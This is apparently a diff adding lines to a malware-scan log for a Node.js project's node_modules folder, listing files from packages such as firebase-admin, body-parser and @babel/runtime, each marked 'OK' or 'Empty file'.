+/scan/node_modules/firebase-admin/lib/installations/index.d.ts: OK
+/scan/node_modules/firebase-admin/lib/installations/installations.d.ts: OK
+/scan/node_modules/firebase-admin/lib/default-namespace.js: OK
+/scan/node_modules/firebase-admin/lib/instance-id/instance-id-namespace.d.ts: OK
+/scan/node_modules/firebase-admin/lib/instance-id/instance-id.d.ts: OK
+/scan/node_modules/firebase-admin/lib/instance-id/index.js: OK
+/scan/node_modules/firebase-admin/lib/instance-id/instance-id.js: OK
+/scan/node_modules/firebase-admin/lib/instance-id/index.d.ts: OK
+/scan/node_modules/firebase-admin/lib/instance-id/instance-id-namespace.js: OK
+/scan/node_modules/firebase-admin/lib/firebase-namespace-api.d.ts: OK
+/scan/node_modules/firebase-admin/lib/eventarc/eventarc-utils.d.ts: OK
+/scan/node_modules/firebase-admin/lib/eventarc/cloudevent.js: OK
+/scan/node_modules/firebase-admin/lib/eventarc/index.js: OK
+/scan/node_modules/firebase-admin/lib/eventarc/eventarc.d.ts: OK
+/scan/node_modules/firebase-admin/lib/eventarc/eventarc-client-internal.d.ts: OK
+/scan/node_modules/firebase-admin/lib/eventarc/eventarc.js: OK
+/scan/node_modules/firebase-admin/lib/eventarc/eventarc-utils.js: OK
+/scan/node_modules/firebase-admin/lib/eventarc/index.d.ts: OK
+/scan/node_modules/firebase-admin/lib/eventarc/eventarc-client-internal.js: OK
+/scan/node_modules/firebase-admin/lib/eventarc/cloudevent.d.ts: OK
+/scan/node_modules/firebase-admin/lib/functions/functions.js: OK
+/scan/node_modules/firebase-admin/lib/functions/functions-api-client-internal.d.ts: OK
+/scan/node_modules/firebase-admin/lib/functions/index.js: OK
+/scan/node_modules/firebase-admin/lib/functions/functions-api.d.ts: OK
+/scan/node_modules/firebase-admin/lib/functions/functions-api.js: OK
+/scan/node_modules/firebase-admin/lib/functions/index.d.ts: OK
+/scan/node_modules/firebase-admin/lib/functions/functions.d.ts: OK
+/scan/node_modules/firebase-admin/lib/functions/functions-api-client-internal.js: OK
+/scan/node_modules/firebase-admin/lib/data-connect/data-connect-api-client-internal.js: OK
+/scan/node_modules/firebase-admin/lib/data-connect/data-connect.js: OK
+/scan/node_modules/firebase-admin/lib/data-connect/data-connect-api.d.ts: OK
+/scan/node_modules/firebase-admin/lib/data-connect/index.js: OK
+/scan/node_modules/firebase-admin/lib/data-connect/data-connect-api.js: OK
+/scan/node_modules/firebase-admin/lib/data-connect/data-connect.d.ts: OK
+/scan/node_modules/firebase-admin/lib/data-connect/data-connect-api-client-internal.d.ts: OK
+/scan/node_modules/firebase-admin/lib/data-connect/index.d.ts: OK
+/scan/node_modules/firebase-admin/lib/index.d.ts: OK
+/scan/node_modules/firebase-admin/lib/machine-learning/machine-learning-utils.js: OK
+/scan/node_modules/firebase-admin/lib/machine-learning/machine-learning.js: OK
+/scan/node_modules/firebase-admin/lib/machine-learning/machine-learning-namespace.js: OK
+/scan/node_modules/firebase-admin/lib/machine-learning/index.js: OK
+/scan/node_modules/firebase-admin/lib/machine-learning/machine-learning-utils.d.ts: OK
+/scan/node_modules/firebase-admin/lib/machine-learning/machine-learning.d.ts: OK
+/scan/node_modules/firebase-admin/lib/machine-learning/machine-learning-api-client.d.ts: OK
+/scan/node_modules/firebase-admin/lib/machine-learning/machine-learning-api-client.js: OK
+/scan/node_modules/firebase-admin/lib/machine-learning/machine-learning-namespace.d.ts: OK
+/scan/node_modules/firebase-admin/lib/machine-learning/index.d.ts: OK
+/scan/node_modules/firebase-admin/lib/messaging/batch-request-internal.d.ts: OK
+/scan/node_modules/firebase-admin/lib/messaging/messaging.d.ts: OK
+/scan/node_modules/firebase-admin/lib/messaging/messaging-internal.js: OK
+/scan/node_modules/firebase-admin/lib/messaging/batch-request-internal.js: OK
+/scan/node_modules/firebase-admin/lib/messaging/messaging-errors-internal.d.ts: OK
+/scan/node_modules/firebase-admin/lib/messaging/messaging-api-request-internal.js: OK
+/scan/node_modules/firebase-admin/lib/messaging/index.js: OK
+/scan/node_modules/firebase-admin/lib/messaging/messaging-api-request-internal.d.ts: OK
+/scan/node_modules/firebase-admin/lib/messaging/messaging-namespace.js: OK
+/scan/node_modules/firebase-admin/lib/messaging/messaging.js: OK
+/scan/node_modules/firebase-admin/lib/messaging/messaging-internal.d.ts: OK
+/scan/node_modules/firebase-admin/lib/messaging/messaging-errors-internal.js: OK
+/scan/node_modules/firebase-admin/lib/messaging/messaging-api.d.ts: OK
+/scan/node_modules/firebase-admin/lib/messaging/index.d.ts: OK
+/scan/node_modules/firebase-admin/lib/messaging/messaging-namespace.d.ts: OK
+/scan/node_modules/firebase-admin/lib/messaging/messaging-api.js: OK
+/scan/node_modules/firebase-admin/lib/security-rules/security-rules-namespace.js: OK
+/scan/node_modules/firebase-admin/lib/security-rules/security-rules.d.ts: OK
+/scan/node_modules/firebase-admin/lib/security-rules/security-rules-internal.d.ts: OK
+/scan/node_modules/firebase-admin/lib/security-rules/security-rules-api-client-internal.d.ts: OK
+/scan/node_modules/firebase-admin/lib/security-rules/index.js: OK
+/scan/node_modules/firebase-admin/lib/security-rules/security-rules-namespace.d.ts: OK
+/scan/node_modules/firebase-admin/lib/security-rules/security-rules.js: OK
+/scan/node_modules/firebase-admin/lib/security-rules/security-rules-api-client-internal.js: OK
+/scan/node_modules/firebase-admin/lib/security-rules/index.d.ts: OK
+/scan/node_modules/firebase-admin/lib/security-rules/security-rules-internal.js: OK
+/scan/node_modules/body-parser/LICENSE: OK
+/scan/node_modules/body-parser/HISTORY.md: OK
+/scan/node_modules/body-parser/node_modules/ms/license.md: OK
+/scan/node_modules/body-parser/node_modules/ms/index.js: OK
+/scan/node_modules/body-parser/node_modules/ms/readme.md: OK
+/scan/node_modules/body-parser/node_modules/ms/package.json: OK
+/scan/node_modules/body-parser/node_modules/qs/LICENSE.md: OK
+/scan/node_modules/body-parser/node_modules/qs/test/stringify.js: OK
+/scan/node_modules/body-parser/node_modules/qs/test/parse.js: OK
+/scan/node_modules/body-parser/node_modules/qs/test/utils.js: OK
+/scan/node_modules/body-parser/node_modules/qs/test/empty-keys-cases.js: OK
+/scan/node_modules/body-parser/node_modules/qs/CHANGELOG.md: OK
+/scan/node_modules/body-parser/node_modules/qs/dist/qs.js: OK
+/scan/node_modules/body-parser/node_modules/qs/.editorconfig: OK
+/scan/node_modules/body-parser/node_modules/qs/README.md: OK
+/scan/node_modules/body-parser/node_modules/qs/package.json: OK
+/scan/node_modules/body-parser/node_modules/qs/.github/FUNDING.yml: OK
+/scan/node_modules/body-parser/node_modules/qs/.github/THREAT_MODEL.md: OK
+/scan/node_modules/body-parser/node_modules/qs/.github/SECURITY.md: OK
+/scan/node_modules/body-parser/node_modules/qs/lib/stringify.js: OK
+/scan/node_modules/body-parser/node_modules/qs/lib/index.js: OK
+/scan/node_modules/body-parser/node_modules/qs/lib/parse.js: OK
+/scan/node_modules/body-parser/node_modules/qs/lib/utils.js: OK
+/scan/node_modules/body-parser/node_modules/qs/lib/formats.js: OK
+/scan/node_modules/body-parser/node_modules/qs/.nycrc: OK
+/scan/node_modules/body-parser/node_modules/qs/eslint.config.mjs: OK
+/scan/node_modules/body-parser/node_modules/debug/.npmignore: OK
+/scan/node_modules/body-parser/node_modules/debug/LICENSE: OK
+/scan/node_modules/body-parser/node_modules/debug/CHANGELOG.md: OK
+/scan/node_modules/body-parser/node_modules/debug/Makefile: OK
+/scan/node_modules/body-parser/node_modules/debug/.eslintrc: OK
+/scan/node_modules/body-parser/node_modules/debug/README.md: OK
+/scan/node_modules/body-parser/node_modules/debug/component.json: OK
+/scan/node_modules/body-parser/node_modules/debug/node.js: OK
+/scan/node_modules/body-parser/node_modules/debug/package.json: OK
+/scan/node_modules/body-parser/node_modules/debug/karma.conf.js: OK
+/scan/node_modules/body-parser/node_modules/debug/.coveralls.yml: OK
+/scan/node_modules/body-parser/node_modules/debug/.travis.yml: OK
+/scan/node_modules/body-parser/node_modules/debug/src/index.js: OK
+/scan/node_modules/body-parser/node_modules/debug/src/node.js: OK
+/scan/node_modules/body-parser/node_modules/debug/src/browser.js: OK
+/scan/node_modules/body-parser/node_modules/debug/src/inspector-log.js: OK
+/scan/node_modules/body-parser/node_modules/debug/src/debug.js: OK
+/scan/node_modules/body-parser/index.js: OK
+/scan/node_modules/body-parser/README.md: OK
+/scan/node_modules/body-parser/package.json: OK
+/scan/node_modules/body-parser/lib/types/raw.js: OK
+/scan/node_modules/body-parser/lib/types/urlencoded.js: OK
+/scan/node_modules/body-parser/lib/types/json.js: OK
+/scan/node_modules/body-parser/lib/types/text.js: OK
+/scan/node_modules/body-parser/lib/read.js: OK
+/scan/node_modules/acorn-jsx/LICENSE: OK
+/scan/node_modules/acorn-jsx/xhtml.js: OK
+/scan/node_modules/acorn-jsx/index.js: OK
+/scan/node_modules/acorn-jsx/README.md: OK
+/scan/node_modules/acorn-jsx/package.json: OK
+/scan/node_modules/acorn-jsx/index.d.ts: OK
+/scan/node_modules/gcp-metadata/LICENSE: OK
+/scan/node_modules/gcp-metadata/CHANGELOG.md: OK
+/scan/node_modules/gcp-metadata/README.md: OK
+/scan/node_modules/gcp-metadata/package.json: OK
+/scan/node_modules/gcp-metadata/build/src/gcp-residency.js: OK
+/scan/node_modules/gcp-metadata/build/src/index.js: OK
+/scan/node_modules/gcp-metadata/build/src/gcp-residency.d.ts: OK
+/scan/node_modules/gcp-metadata/build/src/index.js.map: OK
+/scan/node_modules/gcp-metadata/build/src/gcp-residency.js.map: OK
+/scan/node_modules/gcp-metadata/build/src/index.d.ts: OK
+/scan/node_modules/html-entities/LICENSE: OK
+/scan/node_modules/html-entities/dist/esm/surrogate-pairs.js: OK
+/scan/node_modules/html-entities/dist/esm/numeric-unicode-map.js.map: OK
+/scan/node_modules/html-entities/dist/esm/index.js: OK
+/scan/node_modules/html-entities/dist/esm/surrogate-pairs.js.map: OK
+/scan/node_modules/html-entities/dist/esm/numeric-unicode-map.js: OK
+/scan/node_modules/html-entities/dist/esm/package.json: OK
+/scan/node_modules/html-entities/dist/esm/named-references.js.map: OK
+/scan/node_modules/html-entities/dist/esm/index.js.map: OK
+/scan/node_modules/html-entities/dist/esm/index.d.ts: OK
+/scan/node_modules/html-entities/dist/esm/named-references.js: OK
+/scan/node_modules/html-entities/dist/commonjs/surrogate-pairs.js: OK
+/scan/node_modules/html-entities/dist/commonjs/numeric-unicode-map.js.map: OK
+/scan/node_modules/html-entities/dist/commonjs/index.js: OK
+/scan/node_modules/html-entities/dist/commonjs/surrogate-pairs.js.map: OK
+/scan/node_modules/html-entities/dist/commonjs/index.js.flow: OK
+/scan/node_modules/html-entities/dist/commonjs/numeric-unicode-map.js: OK
+/scan/node_modules/html-entities/dist/commonjs/package.json: OK
+/scan/node_modules/html-entities/dist/commonjs/named-references.js.map: OK
+/scan/node_modules/html-entities/dist/commonjs/index.js.map: OK
+/scan/node_modules/html-entities/dist/commonjs/index.d.ts: OK
+/scan/node_modules/html-entities/dist/commonjs/named-references.js: OK
+/scan/node_modules/html-entities/README.md: OK
+/scan/node_modules/html-entities/package.json: OK
+/scan/node_modules/html-entities/src/numeric-unicode-map.ts: OK
+/scan/node_modules/html-entities/src/named-references.ts: OK
+/scan/node_modules/html-entities/src/surrogate-pairs.ts: OK
+/scan/node_modules/html-entities/src/index.ts: OK
+/scan/node_modules/client-only/index.js: Empty file
+/scan/node_modules/client-only/error.js: OK
+/scan/node_modules/client-only/package.json: OK
+/scan/node_modules/tr46/.npmignore: OK
+/scan/node_modules/tr46/index.js: OK
+/scan/node_modules/tr46/package.json: OK
+/scan/node_modules/tr46/lib/mappingTable.json: OK
+/scan/node_modules/tr46/lib/.gitkeep: Empty file
+/scan/node_modules/dynamic-dedupe/.npmignore: OK
+/scan/node_modules/dynamic-dedupe/LICENSE: OK
+/scan/node_modules/dynamic-dedupe/test/dedupe.js: OK
+/scan/node_modules/dynamic-dedupe/test/fixtures/pack2/common/dep-uno/foo.js: OK
+/scan/node_modules/dynamic-dedupe/test/fixtures/pack2/common/dep-uno/bar.js: OK
+/scan/node_modules/dynamic-dedupe/test/fixtures/pack1/common/dep-uno/foo.js: OK
+/scan/node_modules/dynamic-dedupe/test/fixtures/pack1/common/dep-uno/bar.js: OK
+/scan/node_modules/dynamic-dedupe/test/fixtures/pack1/common/dep-dos/foo.js: OK
+/scan/node_modules/dynamic-dedupe/test/fixtures/count.js: OK
+/scan/node_modules/dynamic-dedupe/example/pack2/common/dep-uno/foo.js: OK
+/scan/node_modules/dynamic-dedupe/example/pack1/common/dep-uno/foo.js: OK
+/scan/node_modules/dynamic-dedupe/example/deduped.js: OK
+/scan/node_modules/dynamic-dedupe/example/not-deduped.js: OK
+/scan/node_modules/dynamic-dedupe/index.js: OK
+/scan/node_modules/dynamic-dedupe/.jshintrc: OK
+/scan/node_modules/dynamic-dedupe/README.md: OK
+/scan/node_modules/dynamic-dedupe/package.json: OK
+/scan/node_modules/@babel/runtime/regenerator/index.js: OK
+/scan/node_modules/@babel/runtime/LICENSE: OK
+/scan/node_modules/@babel/runtime/README.md: OK
+/scan/node_modules/@babel/runtime/package.json: OK
+/scan/node_modules/@babel/runtime/helpers/interopRequireDefault.js: OK
+/scan/node_modules/@babel/runtime/helpers/objectDestructuringEmpty.js: OK
+/scan/node_modules/@babel/runtime/helpers/createClass.js: OK
+/scan/node_modules/@babel/runtime/helpers/asyncToGenerator.js: OK
+/scan/node_modules/@babel/runtime/helpers/toSetter.js: OK
+/scan/node_modules/@babel/runtime/helpers/jsx.js: OK
+/scan/node_modules/@babel/runtime/helpers/arrayWithoutHoles.js: OK
+/scan/node_modules/@babel/runtime/helpers/interopRequireWildcard.js: OK
+/scan/node_modules/@babel/runtime/helpers/regeneratorRuntime.js: OK
+/scan/node_modules/@babel/runtime/helpers/taggedTemplateLiteralLoose.js: OK
+/scan/node_modules/@babel/runtime/helpers/using.js: OK
+/scan/node_modules/@babel/runtime/helpers/applyDecs2305.js: OK
+/scan/node_modules/@babel/runtime/helpers/regeneratorKeys.js: OK
+/scan/node_modules/@babel/runtime/helpers/readOnlyError.js: OK
+/scan/node_modules/@babel/runtime/helpers/inheritsLoose.js: OK
+/scan/node_modules/@babel/runtime/helpers/instanceof.js: OK
+/scan/node_modules/@babel/runtime/helpers/classCheckPrivateStaticFieldDescriptor.js: OK
+/scan/node_modules/@babel/runtime/helpers/arrayWithHoles.js: OK
+/scan/node_modules/@babel/runtime/helpers/decorate.js: OK
+/scan/node_modules/@babel/runtime/helpers/newArrowCheck.js: OK
+/scan/node_modules/@babel/runtime/helpers/applyDecs2301.js: OK
+/scan/node_modules/@babel/runtime/helpers/nonIterableRest.js: OK
+/scan/node_modules/@babel/runtime/helpers/asyncIterator.js: OK
+/scan/node_modules/@babel/runtime/helpers/objectWithoutProperties.js: OK
+/scan/node_modules/@babel/runtime/helpers/classPrivateFieldSet2.js: OK
+/scan/node_modules/@babel/runtime/helpers/assertThisInitialized.js: OK
+/scan/node_modules/@babel/runtime/helpers/callSuper.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/interopRequireDefault.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/objectDestructuringEmpty.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/createClass.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/asyncToGenerator.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/toSetter.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/jsx.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/arrayWithoutHoles.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/interopRequireWildcard.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/regeneratorRuntime.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/taggedTemplateLiteralLoose.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/using.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/applyDecs2305.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/regeneratorKeys.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/readOnlyError.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/inheritsLoose.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/instanceof.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/classCheckPrivateStaticFieldDescriptor.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/arrayWithHoles.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/decorate.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/newArrowCheck.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/applyDecs2301.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/nonIterableRest.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/asyncIterator.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/objectWithoutProperties.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/classPrivateFieldSet2.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/assertThisInitialized.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/callSuper.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/applyDecs2311.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/classApplyDescriptorSet.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/possibleConstructorReturn.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/classPrivateFieldLooseBase.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/toArray.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/regeneratorDefine.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/classPrivateFieldSet.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/defineAccessor.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/createForOfIteratorHelper.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/iterableToArray.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/classStaticPrivateFieldSpecSet.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/superPropSet.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/classPrivateMethodInitSpec.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/classPrivateFieldLooseKey.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/regeneratorValues.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/toConsumableArray.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/superPropGet.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/classStaticPrivateFieldSpecGet.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/classCheckPrivateStaticAccess.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/wrapRegExp.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/extends.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/classPrivateFieldInitSpec.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/classApplyDescriptorGet.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/initializerWarningHelper.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/objectSpread.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/regeneratorAsync.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/defineProperty.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/classPrivateFieldGet.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/maybeArrayLike.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/set.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/asyncGeneratorDelegate.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/skipFirstGeneratorNext.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/objectSpread2.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/classPrivateFieldGet2.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/classCallCheck.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/unsupportedIterableToArray.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/classApplyDescriptorDestructureSet.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/applyDecs2203R.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/classNameTDZError.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/wrapAsyncGenerator.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/temporalUndefined.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/package.json: OK
+/scan/node_modules/@babel/runtime/helpers/esm/importDeferProxy.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/classStaticPrivateMethodSet.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/typeof.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/getPrototypeOf.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/tsRewriteRelativeImportExtensions.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/AwaitValue.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/checkPrivateRedeclaration.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/classStaticPrivateMethodGet.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/iterableToArrayLimit.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/regeneratorAsyncGen.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/get.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/taggedTemplateLiteral.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/classStaticPrivateFieldDestructureSet.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/checkInRHS.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/superPropBase.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/tdz.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/identity.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/classExtractFieldDescriptor.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/regenerator.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/setFunctionName.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/nonIterableSpread.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/usingCtx.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/setPrototypeOf.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/applyDecs.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/slicedToArray.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/arrayLikeToArray.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/classPrivateMethodSet.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/classPrivateGetter.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/inherits.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/regeneratorAsyncIterator.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/createForOfIteratorHelperLoose.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/nullishReceiverError.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/assertClassBrand.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/createSuper.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/objectWithoutPropertiesLoose.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/applyDecs2203.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/wrapNativeSuper.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/defineEnumerableProperties.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/toPropertyKey.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/classPrivateSetter.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/construct.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/defaults.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/classPrivateMethodGet.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/isNativeFunction.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/awaitAsyncGenerator.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/OverloadYield.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/toPrimitive.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/applyDecoratedDescriptor.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/dispose.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/initializerDefineProperty.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/temporalRef.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/classPrivateFieldDestructureSet.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/isNativeReflectConstruct.js: OK
+/scan/node_modules/@babel/runtime/helpers/esm/writeOnlyError.js: OK
+/scan/node_modules/@babel/runtime/helpers/applyDecs2311.js: OK
+/scan/node_modules/@babel/runtime/helpers/classApplyDescriptorSet.js: OK
+/scan/node_modules/@babel/runtime/helpers/possibleConstructorReturn.js: OK
+/scan/node_modules/@babel/runtime/helpers/classPrivateFieldLooseBase.js: OK
+/scan/node_modules/@babel/runtime/helpers/toArray.js: OK
+/scan/node_modules/@babel/runtime/helpers/regeneratorDefine.js: OK
+/scan/node_modules/@babel/runtime/helpers/classPrivateFieldSet.js: OK
+/scan/node_modules/@babel/runtime/helpers/defineAccessor.js: OK
+/scan/node_modules/@babel/runtime/helpers/createForOfIteratorHelper.js: OK
+/scan/node_modules/@babel/runtime/helpers/iterableToArray.js: OK
+/scan/node_modules/@babel/runtime/helpers/classStaticPrivateFieldSpecSet.js: OK
+/scan/node_modules/@babel/runtime/helpers/superPropSet.js: OK
+/scan/node_modules/@babel/runtime/helpers/classPrivateMethodInitSpec.js: OK
+/scan/node_modules/@babel/runtime/helpers/classPrivateFieldLooseKey.js: OK
+/scan/node_modules/@babel/runtime/helpers/regeneratorValues.js: OK
+/scan/node_modules/@babel/runtime/helpers/toConsumableArray.js: OK
+/scan/node_modules/@babel/runtime/helpers/superPropGet.js: OK
+/scan/node_modules/@babel/runtime/helpers/classStaticPrivateFieldSpecGet.js: OK
+/scan/node_modules/@babel/runtime/helpers/classCheckPrivateStaticAccess.js: OK
+/scan/node_modules/@babel/runtime/helpers/wrapRegExp.js: OK
+/scan/node_modules/@babel/runtime/helpers/extends.js: OK
+/scan/node_modules/@babel/runtime/helpers/classPrivateFieldInitSpec.js: OK
+/scan/node_modules/@babel/runtime/helpers/classApplyDescriptorGet.js: OK
+/scan/node_modules/@babel/runtime/helpers/initializerWarningHelper.js: OK
+/scan/node_modules/@babel/runtime/helpers/objectSpread.js: OK
+/scan/node_modules/@babel/runtime/helpers/regeneratorAsync.js: OK
+/scan/node_modules/@babel/runtime/helpers/defineProperty.js: OK
+/scan/node_modules/@babel/runtime/helpers/classPrivateFieldGet.js: OK
+/scan/node_modules/@babel/runtime/helpers/maybeArrayLike.js: OK
+/scan/node_modules/@babel/runtime/helpers/set.js: OK
+/scan/node_modules/@babel/runtime/helpers/asyncGeneratorDelegate.js: OK
+/scan/node_modules/@babel/runtime/helpers/skipFirstGeneratorNext.js: OK
+/scan/node_modules/@babel/runtime/helpers/objectSpread2.js: OK
+/scan/node_modules/@babel/runtime/helpers/classPrivateFieldGet2.js: OK
+/scan/node_modules/@babel/runtime/helpers/classCallCheck.js: OK
+/scan/node_modules/@babel/runtime/helpers/unsupportedIterableToArray.js: OK
+/scan/node_modules/@babel/runtime/helpers/classApplyDescriptorDestructureSet.js: OK
+/scan/node_modules/@babel/runtime/helpers/applyDecs2203R.js: OK
+/scan/node_modules/@babel/runtime/helpers/classNameTDZError.js: OK
+/scan/node_modules/@babel/runtime/helpers/wrapAsyncGenerator.js: OK
+/scan/node_modules/@babel/runtime/helpers/temporalUndefined.js: OK
+/scan/node_modules/@babel/runtime/helpers/importDeferProxy.js: OK
+/scan/node_modules/@babel/runtime/helpers/classStaticPrivateMethodSet.js: OK
+/scan/node_modules/@babel/runtime/helpers/typeof.js: OK
+/scan/node_modules/@babel/runtime/helpers/getPrototypeOf.js: OK
+/scan/node_modules/@babel/runtime/helpers/tsRewriteRelativeImportExtensions.js: OK
+/scan/node_modules/@babel/runtime/helpers/AwaitValue.js: OK
+/scan/node_modules/@babel/runtime/helpers/checkPrivateRedeclaration.js: OK
+/scan/node_modules/@babel/runtime/helpers/classStaticPrivateMethodGet.js: OK
+/scan/node_modules/@babel/runtime/helpers/iterableToArrayLimit.js: OK
+/scan/node_modules/@babel/runtime/helpers/regeneratorAsyncGen.js: OK
+/scan/node_modules/@babel/runtime/helpers/get.js: OK
+/scan/node_modules/@babel/runtime/helpers/taggedTemplateLiteral.js: OK
+/scan/node_modules/@babel/runtime/helpers/classStaticPrivateFieldDestructureSet.js: OK
+/scan/node_modules/@babel/runtime/helpers/checkInRHS.js: OK
+/scan/node_modules/@babel/runtime/helpers/superPropBase.js: OK
+/scan/node_modules/@babel/runtime/helpers/tdz.js: OK
+/scan/node_modules/@babel/runtime/helpers/identity.js: OK
+/scan/node_modules/@babel/runtime/helpers/classExtractFieldDescriptor.js: OK
+/scan/node_modules/@babel/runtime/helpers/regenerator.js: OK
+/scan/node_modules/@babel/runtime/helpers/setFunctionName.js: OK
+/scan/node_modules/@babel/runtime/helpers/nonIterableSpread.js: OK
+/scan/node_modules/@babel/runtime/helpers/usingCtx.js: OK
+/scan/node_modules/@babel/runtime/helpers/setPrototypeOf.js: OK
+/scan/node_modules/@babel/runtime/helpers/applyDecs.js: OK
+/scan/node_modules/@babel/runtime/helpers/slicedToArray.js: OK
+/scan/node_modules/@babel/runtime/helpers/arrayLikeToArray.js: OK
+/scan/node_modules/@babel/runtime/helpers/classPrivateMethodSet.js: OK
+/scan/node_modules/@babel/runtime/helpers/classPrivateGetter.js: OK
+/scan/node_modules/@babel/runtime/helpers/inherits.js: OK
+/scan/node_modules/@babel/runtime/helpers/regeneratorAsyncIterator.js: OK
